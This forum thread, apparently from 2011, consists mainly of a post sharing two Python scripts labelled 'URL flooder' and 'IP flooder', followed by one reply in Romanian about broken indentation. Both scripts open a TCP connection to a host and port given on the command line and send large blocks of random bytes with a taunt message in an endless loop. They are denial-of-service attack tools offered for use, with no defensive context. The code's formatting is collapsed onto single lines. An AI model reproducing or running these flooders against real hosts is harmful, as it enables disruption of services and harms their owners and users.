Gabriel87 Posted July 24, 2011 Report Posted July 24, 2011 URL flooder:#!/usr/bin/env python'''Simple flooder to flood URL'sUses TCP sockets and urllibAuthor: chroniccommand'''from socket import *import urllib2, sys, randomif len(sys.argv) != 3: print("Usage: %s <url> <port>" % sys.argv[0])else: s = socket(AF_INET, SOCK_STREAM) host = sys.argv[1] port = int(sys.argv[2]) sockhost1 = host.strip('http://') sockhost = gethostbyname(sockhost1) longsht = random._urandom(1024) fmsg = "Fuxed by Poison team" print sockhost i = 1 s.connect((sockhost,port)) while(1): urllib2.urlopen(host) s.send(longsht * 200) s.send(fmsg) print("Fuxed x%d" % i) i += 1IP flooder:'''Simple flooder to flood IP'sUses TCP socketsAuthor: Chroniccommand'''from socket import *import sys, randomif len(sys.argv) != 4: print("Usage: %s <host> <port> <bytes>" % sys.argv[0]) print("Bytes is how many random bytes to send")else: s = socket(AF_INET, SOCK_STREAM) host = sys.argv[1] port = int(sys.argv[2]) fmsg = "Fuxed by Poison team" longsht = random._urandom(int(sys.argv[3])) i = 1 s.connect((host, port)) while(1): s.send(longsht * 200) s.send(fmsg) print("Fuxed x%d" % i) i += 1 Quote
b-aze24 Posted August 11, 2011 Report Posted August 11, 2011 indentarea la url flooder are ceva probleme... Quote